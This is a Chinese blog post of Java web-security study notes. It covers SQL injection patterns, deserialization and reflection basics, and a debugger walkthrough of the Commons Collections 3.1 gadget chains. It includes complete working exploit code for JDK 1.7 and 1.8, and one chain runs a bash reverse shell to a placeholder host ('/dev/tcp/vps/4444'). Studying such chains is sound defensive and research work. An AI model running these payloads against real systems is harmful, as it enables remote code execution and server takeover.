cc3

参考:

https://xz.aliyun.com/t/7945#toc-27

https://www.cnblogs.com/liudaihuablogs/p/14167448.html

开始万恶的javaweb安全学习之旅(哭泣)

sql注入漏洞

可参考https://b1ngz.github.io/java-sql-injection-note/

  1. 直接拼接,未进行过滤

    request.getParameter("")直接放在SQL语句。

    全局搜索查看:String sql等。

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
Enumeration parameterNames=req.getParameterNames();
System.out.println(parameterNames);
while (parameterNames.hasMoreElements()){
String t = (String) parameterNames.nextElement();
if(t.equals("username")){
useranme = req.getParameter(t).trim();
out.write("<p1>" + "username:" + useranme + "</p1>");
}else if (t.equals("password")){
password = req.getParameter(t).trim();
out.write("<p1>" + "password:" + password + "</p1>");
}else {
out.write("only user pass");
break;
}
}
// System.out.println(param);
try {
login(useranme,password);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
  1. %和_

    没有手动过滤%。预编译是不能处理这个符号的, 所以需要手动过滤,否则会造成慢查询,造成 dos。

  2. Order by、from等无法预编译

    如以下示例,需要手动过滤,否则存在sql注入。

    String sql = "Select * from news where title =?" + "order by '" + time + "' asc"

  3. Mybatis 框架

    使用注解或者xml将java对象与数据库sql操作对应。

    在注解中或者 Mybatis 相关的配置文件中搜索 $ 。然后查看相关 sql 语句上下文环境。

    mybatis简单示例

    • mybatis的maven配置
    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.2</version>
    </dependency>

反序列化漏洞

可参考

https://xz.aliyun.com/t/2041

https://xz.aliyun.com/t/7031

首先,一个类的对象要想序列化成功,必须满足两个条件:

  1. 该类必须实现 java.io.Serializable 接口。
  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。

一个简单得样例,通过重写readObject方法,在其中执行命令达到触发漏洞效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package serialize;

import java.io.*;
import java.util.Scanner;

public class test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//读取输入流,并转换对象
// Scanner input = new Scanner(System.in);
// InputStream in= request.getInputStream();
// ObjectInputStream ois = new ObjectInputStream(in); //恢复对象
// ois.readObject();
// ois.close();
SerialObject s = new SerialObject(12,"KKfine");
FileOutputStream fileOut = new FileOutputStream("./ test.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(s);
fileOut.close();
System.out.println("serialize ok ");

SerialObject p = null;
FileInputStream filein = new FileInputStream("./test.ser");
ObjectInputStream in = new ObjectInputStream(filein);
p = (SerialObject) in.readObject();
in.close();
filein.close();
}
}
class SerialObject implements Serializable{
private static final long seriaverionuid = 513134543743755L;
private int id;
public String name;
public SerialObject(int id,String name){
this.id = id;
this.name = name;
}
private void readObject(java.io.ObjectInputStream in)throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("notepad.exe");
}
}

序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。

Java类名称可能会以“L”开头的替代格式出现 ,以’;’结尾 ,并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的’sr’或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的’xp’。

序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。并且有大牛写好了现成的工具-SerializationDumper

在实战过程中,我们可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的exp

在这里插入图片描述

感觉主要是要注意一些库中存在得反序列化漏洞。

注意找出反序列化函数调用点:

  • ObjectInputStream.readObject
  • ObjectInputStream.readUnshared
  • XMLDecoder.readObject
  • yaml.load
  • XStream.fromXML
  • ObjectMapper.readValue
  • JSON.parseObject

关于java反射

参考https://www.liaoxuefeng.com/wiki/1252599548343744/1264799402020448

反射就是Reflection,Java的反射是指程序在运行期可以拿到一个对象的所有信息。

正常情况下,如果我们要调用一个对象的方法,或者访问一个对象的字段,通常会传入对象实例:

1
2
3
4
5
6
7
8
// Main.java
import com.itranswarp.learnjava.Person;

public class Main {
String getFullName(Person p) {
return p.getFirstName() + " " + p.getLastName();
}
}

但是,如果不能获得Person类,只有一个Object实例,比如这样:

1
2
3
String getFullName(Object obj) {
return ???
}

怎么办?有童鞋会说:强制转型啊!

1
2
3
4
String getFullName(Object obj) {
Person p = (Person) obj;
return p.getFirstName() + " " + p.getLastName();
}

强制转型的时候,你会发现一个问题:编译上面的代码,仍然需要引用Person类。不然,去掉import语句,你看能不能编译通过?

所以,反射是为了解决在运行期,对某个实例一无所知的情况下,如何调用其方法。

关于反射的实例化一些方法

forName

forName是一个静态方法,其作用:通过调用来获取类名对应的Class对象,同时将Class对象加载进来。

newInstance

将对象实例化。返回类型为Object。与new的区别在于,new可以带参,而newInstance()不可以,一边初始化无参类。通常与forName()配合使用。

1
2
3
String str = "java.util.Date";
Class cl1= Class.forName(str);//加载java.util.Date类
Object obj = cl1.newInstance();//实例化cl1

最后一个是直接用new 来实例化也是很常用的方法。

还有一些关键的方法

getMethod() Method getMethod(String name,Class…parameterTypes)

getMethod方法与getField方法类似,getField方法根据表示域名的字符串,返回一个Field对象。而getMethod方法则根据方法名称和相关参数,来定位需要查找的Method对象并返回。

getMethod与getDeclareMethods方法的区别在于,后者返回一个Method对象数组,需要自己在结果中查找所需Method对象。

invokeObject invoke(Object obj,Object…args)obj:实例化后的对象,args:用于方法调用的参数

调用包装在当前Method对象中的方法

常用的还有java.lang.Class.getMethod()

反序列化一般攻击过程

在开始之前我们需要理一下反序列化漏洞的攻击流程:

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3……
  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

那么以上大概可以分成三个主要部分:

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我把它称为:payload
  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)
  3. readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点(自创名称…

初试CC3.1反序列化漏洞

看cc库漏洞之前得先了解了解cc库得一下接口和函数得实现。

这里Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下

在这里插入图片描述

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:

1
2
3
4
5
public interface Transformer {  

public Object transform(Object input);

}

当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。

Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。这也是这个漏洞触发得核心。看一下InvokerTransformer的源码定义

poc链分析

JDK1.7利用链

先看一下核心得触发漏洞得地方

在这里插入图片描述

这里得三个参数都是我们可控的,可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。

然后要想利用 InvokerTransformer 类中的 transform() 来达到任意命令执行,还需要一个入口点,使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的 transform() 接口。这里寻找过后发现了TransformedMap下存在put方法

在这里插入图片描述

跟进后可以发现这里存在调用transform函数只需要将成员变量里的一个valuetransformer设置为一个InvokerTransformer类即可触发

image-20211106222354207

还有一些细节的东西,这里直接看pop链。这里为了最后能够获得exec函数执行命令,需要调用多次反射,所以需要将多个 InvokerTransformer 实例级联在一起组成一个 ChainedTransformer 对象,在其调用的时候会进行一个级联 transform() 调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package CC3_1.serialize;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class commons_collections_3_1 {
public static void main(String[] args) {
Transformer[] test = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"bash -i >& /dev/tcp/vps/4444 0>&1"}
)
};
Transformer transformerChain =new ChainedTransformer(test);

Map tempMap = new HashMap<String, Object>();
Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
exMap.put("1111", "2222");
}
}

跟进到put函数时栈情况

在这里插入图片描述

初始化时Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);这里this.valueTransformer不为空所以进入到transform函数

在这里插入图片描述

多级链多次调用反射

image-20211106223219346

最后一次循环得到exec函数,这里的反射调用需要自己多多理解和调试一下。

image-20211106223349029

第二次循环传入Runtime.class

在这里插入图片描述

在这里插入图片描述

跳出第二次循环后获取到Runtime.getRumtime()对象

在这里插入图片描述

image-20211108154318110

跳出后

image-20211108154342143

进入最后一次循环

image-20211108154438113

最终反弹到shell

在这里插入图片描述

整条链多调试和理解感觉还是很清晰和顺利的,这里网上似乎还有另一个方法。利用Map.EntrysetValue函数来触发漏洞,poc主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");

关键在于AbstracInputCheckedMapDecorator.class类中的setValue会进入到TransformedMap中的checkSetValue,后面大致就一样了。

在这里插入图片描述

image-20211106231618609

我们可以这里有经典的反射机制调用,在细节分析前我们先整理一下调用栈。

1
2
3
4
5
6
Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
根据数组,先进入 => ConstantTransformer.transform(Object input)
再进入 => InvokerTransformer.transform(Object input)

获取exec的反射调用流程为

1
2
3
4
5
6
7
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"calc.exe"
)

但是到这里都还只是停留在本地测试出了命令执行,要想在 Java 应用反序列化的过程中触发该过程还需要找到一个类,它能够在反序列化调用 readObject() 的时候调用 TransformedMap 内置类 MapEntry 中的 setValue() 函数,这样才能构成一条完整的 Gadget 调用链。恰好在 sun.reflect.annotation.AnnotationInvocationHandler 类具有 Map 类型的参数,并且在 readObject() 方法中触发了上面所提到的所有条件,其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s) {
...省略...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}

关键在于

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));调用了setValue函数,但是这是jdk1.7的版本,在jdk1.8中便不适用

也可以看看jdk1.8版本

在这里插入图片描述

JDK1.8–LazyMap利用链

对于JDK 1.8来说,AnnotationInvocationHandler类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,sda

调用链
1
2
3
4
5
6
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()

最后一个环节肯定还是要调用到ChainedTransformer.transform()这里,所以我们直接先看LazyMap

在这里插入图片描述

在这里插入图片描述

要调用到get函数就找到了TiedMapEntry

在这里插入图片描述

存在tostring

在这里插入图片描述

跟进可以发现可利用的地方

image-20211108171802668

最后需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成,这里找到了BadAttributeValueExpException

在这里插入图片描述

调试过jdk1.7这个其实也差不多了,没有那么难理解了,附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package CC3_1.serialize;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class commons_collections_3_1_jdk1_8 {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "KKfine");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

return val;
}

public static void main(String[] args) throws Exception {

BadAttributeValueExpException calc = getObject("calc");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化


}
}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!